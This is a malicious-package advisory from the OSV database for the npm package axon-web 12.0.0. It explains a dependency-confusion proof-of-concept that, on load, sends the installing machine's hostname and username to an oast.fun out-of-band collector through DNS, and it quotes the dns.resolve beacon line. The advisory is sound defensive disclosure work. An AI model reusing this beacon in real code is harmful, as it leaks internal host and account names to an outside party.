MAL-2026-19222

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/axon-web/MAL-2026-19222.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-19222
Published
2026-11-13T03:51:42Z
Modified
2026-11-13T04:30:04Z
Summary
Malicious code in axon-web (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (395db55c618565f281d33b84b001d9c395ddcd7456ecc8906e5fd6577c16b3f5)

On module load, index.js reads os.hostname() and process.env.USER/USERNAME and encodes them into a subdomain of an interactsh (oast.fun) out-of-band collector, then performs a DNS resolution against that subdomain (dns.resolve(hostname+'-'+user+'.infpvjkgeazvrvvbtqszbyt7ua3s66fcr.oast.fun')). The DNS query itself transmits the installer's host identity to a third-party OOB listener controlled by whoever provisioned the oast.fun subdomain. The package identifies itself as a dependency-confusion proof-of-concept, and the behavior fires automatically on require() with no caller action required. The beacon reveals internal hostnames and account names of any build system or developer machine that resolves this public npm name instead of an intended internal package of the same name.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-022763",
            "import_time": "2026-11-13T04:13:30.919181914Z",
            "modified_time": "2026-11-13T03:51:42Z",
            "sha256": "395db55c618565f281d33b84b001d9c395ddcd7456ecc8906e5fd6577c16b3f5",
            "source": "amazon-inspector",
            "versions": [
                "12.0.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / axon-web

Package

Name
axon-web
View open source insights on deps.dev
Purl
pkg:npm/axon-web

Affected ranges

Affected versions

12.*
12.0.0

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files": [
        {
            "path": "index.js",
            "sha256": "af0a52025990469c57e6f05694b9a941503ef47d3beb72cf7f5d88250d587d55",
            "tlsh": "c4017b9ce7fce7b923e345c0b58c44136497df92294290117418879b43e0e651321d39"
        }
    ],
    "package_integrity": [
        {
            "filename": "axon-web-12.0.0.tgz",
            "hashes": {
                "sha1": "38edfb83b9da9176ca540368f06342b9d40a9812",
                "sha512_sri": "sha512-r2JkpxXSZZz2m7IzyGBFXEjTi7aPdsw0TbxEYdbF0T+cyuFHdqBFG6/4ASqg6vkhLvw6eRJiV0w0Hq4Xu2NhdQ=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/axon-web/MAL-2026-19222.json"